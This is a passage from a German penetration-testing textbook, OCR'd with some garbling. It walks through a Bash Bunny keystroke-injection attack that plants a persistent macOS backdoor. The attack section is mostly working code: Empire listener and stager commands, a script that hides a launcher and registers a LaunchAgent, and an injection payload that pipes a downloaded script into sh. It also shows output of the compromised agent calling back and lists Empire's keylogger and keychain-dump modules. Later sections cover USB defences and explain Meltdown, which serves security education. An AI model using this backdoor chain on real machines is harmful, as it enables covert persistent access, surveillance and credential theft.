» REQUIRETOOL pruft, ob ein bendtigtes Werkzeug im Verzeichnis /tools des Bash
Bunnys vorhanden ist. Wenn nicht, wird das Kommando LED FAIL ausgefiihrt, das
heif3t, die LED beginnt rot zu blinken.

# Das Werkzeug Responder wird bendtigt.
REQUIRETOOL responder

# Das Werkzeug Impacket wird bendtigt.
REQUIRETOOL impacket

» CUCUMBER stellt ein, wie viele Kerne der CPU des Bash Bunnys genutzt werden, und
ermoglicht eine Regelung der Taktfrequenz. Diese Einstellungen konnen auch glo-
bal in der Datei config.txt vorgenommen werden.

# Schaltet drei Kerne der Vierkern-CPU ab und regelt den
# CPU-Takt nach Bedarf.
CUCUMBER ENABLE

# Nutzt alle vier Kerne der CPU und regelt den CPU-Takt
# nach Bedarf. Dies ist die Standardeinstellung.
CUCUMBER DISABLE

# Nutzt alle vier Kerne der CPU und stellt den CPU-Takt auf
# hochste Leistung.
CUCUMBER PLAID

macOS-Backdoor mit Bash Bunny einrichten

Das Ziel dieses Beispiel ist es, auf einem Mac eine Hintertlr zu erzeugen, die auch
nach einem Neustart des Systems erhalten bleibt (persistent backdoor) und damit
eine permanente Kommunikation zum Zielsystem sicherstellt (siche Punkt 2 in Ab-
bildung 8.21).

Das Beispiel nutzt die erweiterten Features des Bash Bunnys, um mehrere Scripts
auf dem Massenspeicher zu hinterlegen. Je nach Position des Multischalters werden
sie zum richtigen Zeitpunkt eingesetzt. Die riickwartige Verbindung vom Zielsys-
tem zum Angreifer kommt mit Hilfe des Empire-Frameworks zustande (sieche Ab-
schnitt 4.14, »Empire Framework«). Damit Sie das Zielsystem nach einer erfolgreichen
Penetrierung auch wieder »saubern« konnen, gibt es ein Script, das alle vorgenomme-
nen Einstellungen wieder riickgidngig macht.
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Reverse Verbindung

Angreifer

Empire-Framework
192.168.0.11

/payloads/switchl Opfer
persistentsh

macOS
fauncherch 1921680134
payload.txt
/payloads/switch2
payload.txt

Abbildung 8.21 Eine Hintertlr fiir den Mac

Auf dem Angriffssystem sind Ubuntu und das Empire-Framework installiert, mit des-
sen Hilfe Sie Listener und Stager erzeugen und die eingehenden Daten verarbeiten
konnen. Die zahlreichen Module des Frameworks ermaoglichen es, in der anschlief3en-
den Post-Exploitation-Phase weitere Informationen vom Mac abzugreifen oder den
Angriff auf das angeschlossene Netzwerk auszuweiten.

Um dieses Ziel zu erreichen, erstellen Sie die folgenden Dateien:

» launcher.sh stellt die (reverse) Verbindung vom Zielsystem zum Angriffssystem
her.

» persistent.sh: ein Shell-Script fiir die »persistent backdoor«
» payload.txt: die Payload fiir die Switch-Position 1 (Angriff)
» payload.txt: die Payload fiir die Switch-Position 2 (Sduberung)

Generieren Sie zuerst den Listener, der spater die eingehenden Daten vom Zielsystem
empfangen soll. Dazu wenden Sie im Empire-Framework folgende Kommandos an:

listeners
uselistener http
set Name Ubuntul
execute

Um eine Verbindung vom Mac zum Angriffssystem herzustellen, benétigen wir einen
Stager, den wir mit folgenden Befehlen erzeugen:

agents

usestager osx/launcher

set Listener Ubuntul

set Outfile /root/Desktop/launcher.sh
execute
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Bei der Datei persistent.sh handelt es sich um ein Shell-Script, das den Launcher
(hier: launcher.sh) in ein verstecktes Verzeichnis auf dem Zielsystem verschiebt und
das notwendige Startscript fir den spateren Autostart einrichtet. Die Zeilennum-
mern dienen nur zur besseren Beschreibung des Scripts und sind nicht einzugeben!

Das so erzeugte Script (beacon.plist) wird im Home-Verzeichnis des Nutzers unter
Library/LaunchAgents gespeichert. Damit ist gewdhrleistet, dass der Launcher bei
jeder Nutzeranmeldung automatisch mit den Berechtigungen des Nutzers ausge-
fihrt wird (Zeile 15 bis 34).

Das Kommandozeilentool launchctl (Zeile 37) startet den Launcher und stellt die
Reverse-Verbindung zum Angriffssystem her. Falls die Kommunikation zum Angriffs-
system aus nichtvorhersehbaren Griinden einmal abbrechen sollte, wird nach einer
vorgegebenen Zeit (in unserem Beispiel 600 Sekunden) eine erneute Verbindung
initiiert (Zeilen 28 bis 29).

#1/bin/bash

# create the hidden directory
mkdir $HOME/.hidden

1
2
3
4
5
6 # move launcher to hidden folder

7 mv Downloads/launcher.sh $HOME/.hidden/launcher.sh
8

9 # give the script permission to execute

10 chmod +x $HOME/.hidden/launcher.sh

11

12 # create directory if it doesn't already exist.

13 mkdir $HOME/Library/LaunchAgents

14

15 # write the .plist to LaunchAgents
16 echo '

17 <plist version="1.0">

18 <dict>

19 <key>Label</key>

20 <string>beacon</string>

21 <key>ProgramArguments </key>
22 <array>

23 <string>/bin/sh</string>

24 <string>'$HOME '/.hidden/launcher.sh</string>
25 </array>

26 <key>RunAtLoad</key>

27 <true/>

28 <key>StartInterval</key>

29 <integer>600</integer>
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30 <key>AbandonProcessGroup</key>

31 <true/>

32 </dict>

33 </plist>

34 ' > $HOME/Library/LaunchAgents/beacon.plist

35

36 # load the LaunchAgent

37 launchctl load $HOME/Library/LaunchAgents/beacon.plistlisting

Die »payload.txt«-Dateien fiir Switch1 und Switch2

Nun benotigen Sie noch zwei Scripts, die Sie auf dem Bash Bunny abspeichern.

Beide erhalten den Dateinamen payload.txt und werden in die Verzeichnisse
/payloads/switchl bzw. /payloads/switch2 kopiert.

Beginnen wir mit dem Script fiir den Angriff:

1 #!/bin/bash

NN
[© 2NNVl

Copy all files in the same switch position

NN
[e BN}

DUCKY LANG is configured in config.txt

2
3 # Title: 0SX persistent backdoor{Injector}
4 # Author: Pentestit.de
5 # Target: Mac
6 # Version: 0.1
7 #
8 # Inject an Empire Framework Launcher
9 # inside $HOME/Library/LaunchAgents
10 #
11 # https://github.com/EmpireProject/Empire
12 #
13 # LED SETUP M SOLID Magenta solid
14 # LED ATTACK Y SINGLE Yellow single blink
15 # LED FINISH G SUCCESS Green 1000ms VERYFAST blink
16 # followed by SOLID
17 # LED OFF Turns the LED off
18 #
19 # The following files are required:
20 # launcher.sh Launcher created with Empire Framework
21 # persistent.sh Bash script that moves the Launcher in
22 # a hidden directory
23 # and creates beacon.plist in $HOME/Library/LaunchAgents
24 # payload.txt This file
#
#
#
#
#

N
NeJ
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30 LED SETUP

31

32 ATTACKMODE ECM_ETHERNET HID VID_ OXO5AC PID_0X021E

33

34 GET SWITCH POSITION

35 GET HOST_IP

36

37 cd /root/udisk/payloads/$SWITCH POSITION/

38

39 # starting server

40 LED SPECIAL

41

42 iptables -A OUTPUT -p udp --dport 53 -j DROP

43 python -m SimpleHTTPServer 80 &

44

45 # wait until port is listening (credit audibleblink)

46 while ! nc -z localhost 80; do sleep 0.2; done

47

48 LED ATTACK

49

50 # Open Spotlight

51 RUN 0SX terminal

52

53 # Download files from BashBunny and run persistent script

54 QUACK DELAY 2000

55 QUACK STRING curl "http://$HOST IP/launcher.sh"
--output Downloads/launcher.sh

56 QUACK ENTER

57 QUACK DELAY 500

58 QUACK STRING curl "http://$HOST IP/persistent.sh" \| sh

59 QUACK DELAY 500

60 QUACK ENTER

61 QUACK DELAY 200

62 QUACK STRING exit

63 QUACK DELAY 200

64 QUACK ENTER

65 QUACK DELAY 500

66 QUACK GUI W

67

68 # Finish and LED off

69 LED FINISH

70 QUACK DELAY 300

71

72 LED OFF
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In diesem Script finden Sie viele bereits vorgestellte Kommandos und Extensions wie-
der. Die Befehle in den Zeilen 34 und 35 ermitteln z. B. mit Hilfe der GET-Extension die
aktuelle Position des Multischalters und die IP-Adresse des Bash Bunnys.

Zeile 43 ruft einen Python-HTTP-Server auf, der die ordnungsgemifie Ubertragung
der Daten auf das Zielsystem sicherstellt. Somit kann das Script mit den Befehlen in
den Zeilen 55 und 58 die bendtigten Dateien vom Bash Bunny herunterladen und auf
dem Zielsystem starten. Hiermit ist eine permanente Hintertiir geschaffen.

Bevor wir Thnen vorstellen, was diese Scripts auf dem Mac auslosen, kommen wir
zundchst zur zweiten Payload, die das System wieder in den Ausgangszustand zurtck-
setzt. Da der Code leicht verstandlich ist, haben wir auf Zeilennummern und weitere
Erlauterungen verzichtet.

#1/bin/bash

Title: OSX persistent backdoor{Cleanup}
Author: Pentestit.de

Target: Mac

Version: 0.1

Cleanup hidden directory und beacon.plist

LED SETUP M SOLID Magenta solid

LED CLEANUP W FAST White fast blink

LED FINISH G SUCCESS Green 1000ms VERYFAST
blink followed by SOLID

# LED OFF Turns the LED off

LED SETUP

ATTACKMODE ECM_ETHERNET HID VID OXO5AC PID OXO21E
LED CLEANUP

HOoH OB B HF HF H OH B HF H

# Open Spotlight
RUN 0SX terminal

# Remove hidden directory und beacon.plist
QUACK DELAY 2000

QUACK STRING rm -Rf \$HOME/.hidden

QUACK DELAY 200

QUACK ENTER

QUACK DELAY 200

QUACK STRING rm \$HOME/Library/LaunchAgents/beacon.plist
QUACK DELAY 200

QUACK ENTER

QUACK DELAY 200

QUACK STRING exit
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QUACK DELAY 200
QUACK ENTER
QUACK GUTI w

# Finish and LED off
LED FINISH

QUACK DELAY 200

LED OFF

Wenn Sie die Scripts flir den Bash Bunny auf einem Mac mit dem Betriebssystem
macOS High Sierra testen, werden Sie feststellen, dass nicht alle Zeichen richtig aus-
gegeben werden. Die Ursache dafiir ist die Sprachdatei de.json, die im Verzeichnis
/languages auf dem Bash Bunny zu finden ist. Die dort deklarierten Zeichencodes
stimmen leider nicht ganz mit der deutschen Tastatur eines iMacs oder MacBooks
iberein. Sie miissen also zunichst die Anderungen in den Zeilen 158 bis 165 vorneh-
men, um das Problem zu 16sen. Abbildung 8.22 zeigt die richtigen Eintrage.

158 "@":"4@,00,07",
159 w{n:v49,00,25",
168 w[v:v49,00,22",
161 “]niv4g,00,23",
162 "}Nav49,00,26",
163 "W\":"40,00,2d",
164 "aM:49,00,38",
165 ""iv4p,00,24",

Abbildung 8.22 Angepasste Zeichencodes in der Datei »de.json«

Sobald Sie den Bash Bunny in eine freie USB-Schnittstelle Ihres Testgerates stecken,
offnet sich ein Terminalfenster, und der Mac beginnt, die Daten vom HTTP-Server
des Bash Bunnys herunterzuladen (siehe Abbildung 8.23).

Last login: Sun Feb 18 19:28:38 on ttys@eg8
franks-Mac:~ john$ curl http://172.16.64.1/launcher.sh ——output Downloads/launcher.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
le@ 13%5 1@@ 1395 a B 44381 B —i—i— —i—i— —i—i— 45088
franks—Mac:~ john$ curl http://172.16.64.1/persistent.sh | sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
laa 882 188 882 2] B 61114 B —i—i— —i—i— —i—i— 53088
mkdir: /fUsers/john/Library/LaunchAgents: File exists
franks-Mac:~ john$ exit
logout
Saving session...
...copying shared history...
«..5aving history...truncating history files...
...completed.

Abbildung 8.23 Der Bash Bunny initiiert den Download von Daten vom HTTP-Server.

Der Launcher erzeugt eine Verbindung zum Angriffssystem, und in der Konsole des
Empire-Frameworks wird ein Agent dargestellt.
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8.3 Bash Bunny

(Empire: listeners) > agents

[*] Active agents:

Name Lang Internal IP

VOYSEWP  py  192.168.0.134

Machine Name Username Process

17¢ranks Mac.local  john  Jusz/bin/python/19505/0.0

Uber den Namen des Agenten (in diesem Beispiel VCYOFYWP) konnen Sie mit dem Ziel-
system kommunizieren. Nun bleibt es Ihrer Kreativitit iberlassen, welche Module
des Empire-Frameworks Sie in der Post-Exploitation-Phase anwenden wollen. Diese
stehen Thnen u.a aus den Bereichen Collection, Management und Persistence zur Aus-
wahl.

interact VCY9FYWP

(Empire: VCY9FYWP) > usemodule collection/osx/

browser dump native screenshot webcam
clipboard native screenshot mss

hashdump * pillage user

imessage dump prompt

kerberosdump screensaver _alleyoop

keychaindump * screenshot

keychaindump chainbreaker search email

keylogger sniffersx

(Empire: 4PK4KSN3) > usemodule collection/osx/

Bash Bunny aktualisieren

Die Software des Bash Bunnys wird standig weiterentwickelt. Um den Anwendern das
Aktualisieren zu erleichtern, haben die Entwickler den sogenannten Bunny Updater
zur Verfligung gestellt, der fiir die Betriebssysteme Windows, Linux und macOS auf
dem Hak5-Webserver erhaltlich ist:

https://www.hak5.org/gear/bash-bunny/docs

Die Installation fiir Windows und macOS ist denkbar einfach. Hierzu stellen Sie den
Multischalter in die Switch-Position fir den Arming Mode und entpacken die herun-
tergeladene Datei im Wurzelverzeichnis des Bash Bunnys.
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Hier sollten Sie vor dem Ausfiihren des Bunny Updaters darauf achten, dass sich
die ausfiihrbare Datei tatsdchlich auf dem Massenspeicher befindet (siehe Abbil-
dung 8.24). Ein einfacher Doppelklick auf die Datei startet den Update-Prozess. Dabei
werden sowohl die Firmware als auch die verfiigbaren Payloads aktualisiert.

- [ - Anw..,
Start Freigeben Ansicht Verwalten [7]
€« “ P = » Dies.. » BASHBU.. + O BASHEUN.. @
4 Downloads A Name -
2| Dokumente docs
& Bilder languages
Home loot
switch1 payloads
System32 toals
Win10PC | BOOTEX
0 bunnyupdater
#& OneDrive =| config
2 reapmE
[ Dieser PC =
3l 3D-Objekte
&=] Bilder
el i S 2
9 Elemente 1 Element ausgewshlt (9,31 ME) == =

Abbildung 8.24 Den »Bunny Updater« mit Windows 10 verwenden

Soll der Bunny Updater auf einem Mac verwendet werden, so erhalten Sie unter
Umstdnden eine Fehlermeldung mit dem Hinweis, dass die Software nicht von einem
verifizierten Entwickler stammt. Im Dialog SYSTEMEINSTELLUNGEN + SICHERHEIT kon-
nen Sie die Ausfithrung dennoch erlauben.

Wenn Sie den Bash Bunny unter Linux aktualisieren mochten, miissen Sie anders
vorgehen. Hier empfehlen die Entwickler, den Bunny Updater nicht vom Massenspei-
cher des Bash Bunnys zu starten, sondern zunachst in ein lokales Verzeichnis auf dem
Linux-Rechner zu kopieren. Das folgende Listing zeigt, wie die heruntergeladen Datei
entpackt und dann mit Ubergabe einer Umgebungsvariablen vom lokalen System
gestartet wird.

cd /home/ubuntuuser /Downloads
unzip bunnyupdater-1.1-linux_amd64.zip
BUNNYPATH=/media/$USER/BASHBUNNY ./bunnyupdater

Vor- und Nachteile des Bash Bunnys

Unserer Meinung nach haben die Entwickler von Hak5 bei der Einfithrung des Bash
Bunnys nicht zu viel versprochen. Dass das Konzept aufgeht, kann man an der stin-
dig steigenden Zahl der Nutzer ablesen, die Scripts flir den Bash Bunny ins Internet
stellen:

https://github.com/hak5/bashbunny-payloads/tree/ master/payloads/library
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Die alten DuckyScript-Scripts lassen sich in die neuen Projekte integrieren und auf-
grund der neuen Features weiterentwickeln. Der Phantasie der Nutzer wird dabei
kaum eine Grenze gesetzt.

Auch wenn die bereits vorhandenen Scripts fiir Anwendungen im deutschsprachigen
Umfeld nicht immer auf Anhieb funktionieren, so decken sie bereits jetzt ein breites
Anwendungsspektrum ab. Nun bleibt es IThnen tuberlassen, mit etwas Geschick und
Geduld das Vorhandene an Thre Bedurfnisse anpassen.

Nach einer langeren Anwendungsphase lassen sich, aus unserer Sicht, folgende Vor-
teile erkennen:

unter Windows, macOS und Linux nutzbar

sehr einfach zu erlernende Scriptsprache

DuckyScript-Scripts lassen sich fast ohne Anpassung integrieren.
Shell-Scripts konnen mit allen Befehlen genutzt werden.

>
>
>
>
» eigenes Linux-Betriebssystem auf der Basis von Debian
» programmierbare LED zeigt Betriebszustande und Status

» Multischalter erlaubt eine schnelle Nutzung verschiedener Scripts.
» als Ethernet-Adapter und serielles Gerdt nutzbar

>

schneller integrierter Massenspeicher

Nachteile:

nur in den USA und einigen wenigen Shops in Deutschland bestellbar
vergleichbar hoher Preis fiir die erworbene Hardware

keine WLAN-Unterstiitzung

nach langerer Nutzungsphase und mehreren Updates etwas instabil

vV v.v v

8.4 Gegenmalinahmen

USB-Schnittstellen stellen immer ein hohes Sicherheitsrisiko dar, weil besonders in
diesem Fall die Komponente Mensch eine grofie Rolle spielt. Mit diversen Tricks, zwi-
schenmenschlicher Beeinflussung und Social Engineering wird es auch zukiinftigen
Angreifern moglich sein, erfolgreich Angriffe auf diesem Gebiet zu vertiben.

Darum ist es besonders wichtig, die Mitarbeiter in einem Unternehmen, aber auch
das eingesetzte IT-Personal in regelméfiigen Awareness-Schulungen zu sensibilisie-
ren und nachhaltige Kenntnisse auf diesem Gebiet zu vermitteln. Hier sollten unter
anderem das Verbot des Anschlusses nichtvertrauenswurdiger USB-Gerate an firmen-
eigene Systeme und die Verhinderung des physikalischen Zugriffs Unbefugter thema-
tisiert werden.

351

00




8 Angriffsvektor USB-Schnittstelle

Davon losgeldst gibt es aber auch eine ganze Reihe an technischen Sicherheitsmaf-
nahmen, um USB-Schnittstellen zu iberwachen und den Zugriff einzuschranken.

Das Sperren von Wechseldatentragern mit Hilfe von Gruppenrichtlinien stellte zwar
frither einen wirksamen Schutz vor dem unbefugten Einsatz von mobilen Datentra-
gern mit Autorun-Funktion dar, ist aber aus heutiger Sicht nicht mehr als ausreichend
zu betrachten.

Hardware-MaRRnahmen

Die sicherste Methode ist und bleibt es, alle nicht bendtigten USB-Ports physika-
lisch zu sperren. Auch wenn vielen Lesern diese Methode nicht besonders geschickt
erscheint, kann dies in Bereichen mit besonders hohen Sicherheitsanforderungen die
einzige Losung sein.

Eine weitere Moglichkeit besteht darin, den Datenverkehr zwischen USB-Gerat und
Schnittstelle durch ein weiteres Gerdt zu tiberwachen. Somit konnen z. B. Keystroke-
Injection-Angriffe durch deren tiberdurchschnittliche Anzahl von Tastaturanschla-
gen entlarvt und geblockt werden. Diese sogenannten USB-Firewalls lassen sich
flexibel und kostenglinstig einsetzen. Derartige Firewalls sehen so @hnlich aus wie ein
USB-Stick. Sie haben aber auf3er einem USB-Stecker auch eine USB-Buchse und kon-
nen so zwischen dem Rechner und externen USB-Geridten platziert werden. Weitere
Informationen finden Sie unter folgendem Link:

https://blog.botfrei.de/2017/03/firewall-fuer-den-usb-anschluss

Software-MaRRnahmen

Grundsatzlich unterscheiden wir hier zwischen Mafnahmen, die auf der Basis des
laufenden Betriebssystems oder durch zusatzliche, meist kommerzielle Programme
getroffen werden konnen.

So beschreibt Adrian Creshaw in einer sehr umfangreichen, allerdings schon einige
Jahre alten Abhandlung, welche Einstellungen auf Windows- und Linux-Betriebssys-
temen mit Bordmitteln getroffen werden konnen:

https://www.irongeek.com/downloads/Malicious%20USB%20Devices.pdf

Eine Moglichkeit unter Windows besteht z. B. darin, mit Hilfe der Gruppenrichtlinien
die Installation zusatzlicher Gerédten zu unterbinden. Der Administrator erstellt dazu
eine Liste mit erlaubten Hardware-IDs und verhindert damit die Einrichtung von
anderen Geriten, die nicht der Richtlinie entsprechen. Zur Veranderung der Grup-
penrichtlinien fihren Sie COMPUTERKONFIGURATION * ADMINISTRATIVE VORLAGEN -
SYSTEM * GERATEINSTALLATION aus (siehe Abbildung 8.25).
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=[ Editor fir lokale Gruppenrichtlinien - m] x
Datei  Aktion Ansicht ?
e nE = HEl T

v [ System # || Einstellung Status Kemmentar
| Anmelden

e stware. b [ Administratoren das AuBerkraftsetzen der Richtlinien unter ™. Nicht kenfigur.. Nein
- Antischadsoftwere-frihstart [££) Installation von Geraten mit Treibern zulassen, die diesen Ge... Nicht konfigur... Nein

| Anzeige
| App-V
| Ausgleichsoptionen

|i=] Installation von Geréten mit Treibern verhindern, die diesen ...  Nicht kenfigur... MNein
2] Benutzerdefinierte Meldung anzeigen, wenn Installation dur... Nicht kenfigur.. Nein

 Benutzerprofile | Benutzerdefinierte Meldung anzeigen, wenn Installation dur... Nicht konfigur... Nein

| Dateiklassifizierungsinfrastruktur
| Dateisystem

i Installation von Geraten mit diesen Gerite-IDs zulassen Nicht konfigur... Nein
|| Installation ven Geréten mit diesen Gerdte-IDs verhindern Nicht konfigur... Mein
| Dstentragerkontingente &) Zeit (in Sekunden) bis zum Erzwingen eines Neustarts, wenn... Nicht kanfigur.. Nein
| DCOM \i=| Installation von Wechselgeraten verhindern Nicht kenfigur... Nein
" Delegierung ven Anmeldeinfermationen |2 Installation ven Gerdten verhindern, die nicht in anderen Ric...  Nicht kenfigur... Nein

| Device Guard

~
v

| Energieverwaltung

| Gehietsschemadienste

<

Erweitert ) Standard

Abbildung 8.25 Die Installation von zusatzlicher Geraten per Gruppenrichtlinie verhindern

In einem Linux-System lassen sich diese Einstellungen viel differenzierter vorneh-
men. Das macht die Arbeit aber keineswegs einfacher. Der moderne Linux-Kernel
besitzt ein virtuelles Dateisystem, das alle Informationen zur Steuerung der ange-
schlossenen Gerite liefert. In der Regel verfiigen alle Gerdte tiber den Status autho-
rized. Das bedeutet, dass sie im System ohne Einschrinkungen verwendet werden
konnen. Die Schwierigkeit besteht eigentlich nur darin, herauszufinden, an welchem
USB-Bus die Gerate angeschlossen sind. Durch das Setzen der Option 1 oder 0 schalten
Sie einzelne Gerate an bzw. ab.

Als Testsystem haben wir Ubuntu 16.04 verwendet. Das Kommando 1susb gibt eine
Ubersicht der in Threm Linux-System verwendeten USB-Komponenten:

root@ubuntu:/sys/bus/usb/devices# lsusb -t

Bus 04.Port 1: Dev 1, Class=root hub, Driver=xhci hcd/12p

Bus 03.Port 1: Dev 1, Class=root hub, Driver=xhci hcd/2p

Bus 02.Port 1: Dev 1, Class=root hub, Driver=uhci hcd/2p

Bus 0l1.Port 1: Dev 1, Class=root hub, Driver=ehci-pci/15p
Port 1: Dev 9, If 0, Class=Mass Storage, Driver=usb-storage
Port 2: Dev 10, If 0, Class=Mass Storage, Driver=usb-storage
Port 3: Dev 11, If 0, Class=Printer, Driver=usblp, 480M
Port 4: Dev 12, If 0, Class=Printer, Driver=usblp, 480M

Um detaillierte Informationen uiber das an Bus 1 und Port 1 angeschlossene Gerat zu
erhalten, fithren Sie folgendes Kommando aus:

udevadm info -a -p /sys/bus/usb/devices/1-1

Die hier verfiigbaren Informationen lassen sich nun in einem Script verwenden, das
gezielt nur die USB-Ports und -Gerate aktiviert, die Sie fiir Ihre Arbeit benétigen. Eine
entsprechende Regeldatei, die im Verzeichnis /etc/udev/rules.d zu installieren ist,
konnte folgendermafien aussehen:
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# script by Adrian Crenshaw
# with info from Michael Miller, Inaky Perez-Gonzalez and VMware

# disable by default
ACTION=="add", SUBSYSTEMS=="usb", \
RUN+="/bin/sh -c 'echo 0 > /sys$DEVPATH/authorized""

# allow authorized devices
ACTION=="add", SUBSYSTEMS=="usb", \
RUN+="/bin/sh -c 'for host in /sys/bus/usb/devices/usbx; do \
echo 0 > $host/authorized default; \
done'"

# enable hub devices
ACTION=="add", ATTR{bDeviceClass}=="09", \
RUN+="/bin/sh -c 'echo 1 >/sys$DEVPATH/authorized"'"

Auch im Open-Source-Bereich gibt es Losungen, mit denen Sie USB-Angriffe erfolg-
reich abwehren konnen. Stellvertretend seien hier die Projekte Duckhunter und
Beamgun erwahnt, die derzeit aber nur unter Windows nutzbar sind:

https://github.com/pmsosa/duckhunt
https://github.com/JLospinoso/beamgun

Beide installieren einen Uberwachungsmechanismus, der typische Angriffsszenarien
erkennt und blockt. In Abbildung 8.26 hat Beamgun einen Angriff durch den Bash
Bunny vereitelt.

":. Beamgun

@isab1e for 30m.} k1ear a1ert5] Reset| |Exit
Lock on keyboard Disable new net adapters [ | Disable USB storage

05.03.2018 17:21: Unable to connect to update server. Der
Versionszeichenfolgeteil war entweder zu kurz oder zu lang.

05.03.2018 17:22: Alerting on keyboard insertion: Erweitert (101 oder 102
Tasten) Erweitert (101 oder 102 Tasten) USB-Eingabegerat USB
“WID_FO00&PID_FFO5&MI_03%6&13DC2781&0&0003 00000407 USBN\VID_FO00&PID_FFOS&MI_03
“6&13DC2781&0&0003 .

05.03.2018 17:22: Successfully locked the workstation.

05.03.2018 17:22: Disabling Remote NDIS Compatible Device every 100 ms until
Reset.

Abbildung 8.26 Beamgun hat einen Angriff eines Bash Bunny vereitelt.
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17.10 Spectre und Meltdown

Im Januar 2018 veroffentlichten Forscher zwei umfangreiche Sicherheitsliicken in
Prozessoren. Die Sicherheitsliicken bekamen die Namen Spectre und Meltdown und
konnen auf den meisten modernen Prozessoren ausgenutzt werden — und zwar unab-
hangig vom Betriebssystem. Besonders anfillig schienen anfangs Intel-CPUs zu sein,
aber nach und nach zeigte sich, dass auch CPUs anderer Hersteller in unterschiedli-
chem Ausmaf betroffen sind. Da die zugrundeliegenden Fehler schon etliche Jahre
alt sind, betrifft das Problem mehrere Milliarden Gerate.

Hinweis
Als wir diesen Text Ende Januar 2018 zuletzt Gberarbeiteten, waren die »Aufraum-
arbeiten« rund um Spectre und Meltdown gerade im vollem Gange. Es ist zu

erwarten, dass bis zur bzw. nach der Veroffentlichung des Buchs weitere Details,
Angriffsvarianten sowie Updates und Patches bekannt werden.

Aktuelle Informationen zu Spectre und Meltdown finden Sie unter anderem hier:

https:// meltdownattack.com

Meltdown

Meltdown nutzt Nebeneffekte der sogenannten Out-of-order execution in modernen
Prozessoren aus, um Daten aus dem geschiitzten Kernel-Adressraum auszulesen. Es
handelt sich um ein Hardware-Problem und ist somit unabhangig vom verwende-
ten Betriebssystem oder von Anwendungssoftware. Meltdown ermoglicht es, auf den
Speicher anderer Anwendungen bzw. in Cloud-Umgebungen auch auf den Speicher
anderer virtueller Maschinen zuzugreifen.

Moderne Betriebssysteme stellen durch Memory Isolation sicher, dass Benutzer-
anwendungen keinen Zugriff auf Speicherbereiche des Kernels erhalten. Ein
Supervisor-Bit steuert in modernen Prozessoren, ob ein Speicherbereich zugreifbar
ist oder nicht. Das Bit kann nur gesetzt werden, wenn Kernel-Code ausgefiihrt wird.
Bei der Ruckkehr in den User-Modus wird das Bit wieder zurtiickgesetzt. Damit kann
der Kernel in den Adressbereich jedes Prozesses gemappt werden und bietet so maxi-
male Flexibilitdt beim Umgang mit Interrupts und Wechsel zwischen den beiden
Modi.

Meltdown nutzt eine sogenannte Side-Channel-Attacke, um den gesamten Kernel-
Adressbereich auszulesen und die Trennung zwischen Benutzer- und Kernelspeicher
so zu umgehen.

Die zugrundeliegende Out-of-Order Execution ist eine Performance-Optimierung
in aktuellen Prozessorarchitekturen. Dabei werden Speicherbereiche vorab gelesen
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(Memory Lookup), auch wenn der Speicherbereich spater womoglich gar nicht beno-
tigt oder der Zugriff nicht erlaubt ist. Diese Entscheidung trifft der Prozessor aller-
dings erst spater und verwirft dann die vorher gelesenen Daten.

Das ist grundsatzlich kein Problem, da eine Anwendung auf diese Daten nicht mehr
zugreifen kann. Die Problematik ist hier allerdings das Zusammenspiel mit dem
Cache: Ein Out-of-Order Memory Lookup hinterlasst Spuren im Cache, nachdem die
Daten wieder verworfen wurden. Die Daten sind dann iber eine Side-Channel-Attacke
(z. B. Flush-Reload) auslesbar.

Meltdown verwendet Exceptions, um den geordneten Programmverlauf (mit den
nachgelagerten Out-of-Order-Kommandos) zu verlassen. Aus Performance-Griinden
mappen aktuelle Prozessoren den gesamten Kernel-Adressraum und damit auch den
ganzen physischen Speicher in die Page-Tabellen jedes User-Prozesses. Der Schutz
erfolgt durch das Supervisor-Bit. Ein Angreifer mit unprivilegierten Rechten ist somit
in der Lage, den gesamten Kernel-Adressbereich tiber einen Seitenkanal abzugreifen.
Die Entdecker des Meltdown-Angriffs haben mit dem Verfahren Datenraten von bis
zu 500 KByte/s zur Extraktion der Daten von beliebigen physikalischen Adressen
gemessen.

Die Auswirkungen durch den grundsétzlichen Lesezugriff auf den Speicher von ande-
ren Prozessen sind sehr weitreichend: Neben Desktop-Computer und Laptops sind
auch Mobiltelefone sowie Server in Cloud-Umgebungen betroffen. Angreifer konnen
mit einer bosartigen Anwendung auf einem Mobiltelefon Daten von anderen Anwen-
dungen auf dem Gerét stehlen. Der Besuch einer modifizierten Webseite reicht aus,
um Daten von Threm Computer auszulesen. In Cloud-Umgebungen ist die Trennung
einzelner Kundenbereiche aufgehoben, da sich mehrere Anwender eine Infrastruktur
teilen.

AbwehrmalRnahmen

Die Entdecker der Sicherheitsprobleme, ein Konsortium mehrerer Forschungsein-
richtungen wie der TU Graz zusammen mit Google und Cyberus Technology, haben
mit KAISER (Kernel Address Isolation to have Side-Channels Efficiently Removed) eine
Schutzmoglichkeit veroffentlicht, die diese Attacke verhindern soll. KAISER verbes-
sert den 2014 implementierten KASLR-Mechanismus (Kernel Address Space Layout
Randomization), der flr Seitenkanal-Attacken anfillig war.

KAISER wurde im Juni 2017, ein halbes Jahr vor der Bekanntmachung von Meltdown,
veroffentlicht. Der Mechanismus wurde im Linux-Kernel unter dem Namen KPTI (Ker-
nel Page Table Isolation) implementiert. Dabei werden zwei Formen von Page-Tables
verwendet:
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» Im Kernel-Mode stehen wie bisher der gesamte Kernel- und User-Adressraum zur
Verfiigung.

» Im User-Mode kommt nun ein anderes Set von Page-Tables zum Einsatz; hier ist
nur der Teil des Kernel-Adressraums gemappt, der fur die Abwicklung von Inter-
rupts und System-Calls benotigt wird.

Betroffen von Meltdown sind zahlreiche Prozessorfamilien verschiedener Hersteller.
Das Konzept der Out-of-Order Execution gibt es seit etwa 20 Jahren!

Wie kdnnen Sie sich also gegen Meltdown schiitzen? Hersteller arbeiten seit Bekannt-
werden des Problems fieberhaft daran, Patches und Workarounds zum Schutz vor der
Sicherheitsliicke zu liefern. Die Updates werden auf unterschiedlichen Ebenen durch-
gefiihrt: soweit moglich direkt auf den CPUs (durch sogenannte Microcode-Updates),
ansonsten in den diversen Betriebssystemebenen.

Esistallerdings zu beflirchten, dass zahlreiche Systeme aus unterschiedlichsten Griin-
den nie einen Patch erhalten werden: weil fiir manche (3ltere) Systeme gar keine
Updates entwickelt werden, weil es aus anderen Griinden keine Patch-Moglichkeit
gibt oder weil vorhandene Patches aus Nachlassigkeit oder Bequemlichkeit nicht ein-
gespielt werden.

Erschwerend kommt hinzu, dass die Updates die Performance spiirbar senken — Ursa-
che des Problems sind ja Performance-Optimierungen der CPU. Kénnen diese Opti-
mierungen nicht oder nur mehr eingeschrankt genutzt werden, fiihrt dies zwangs-
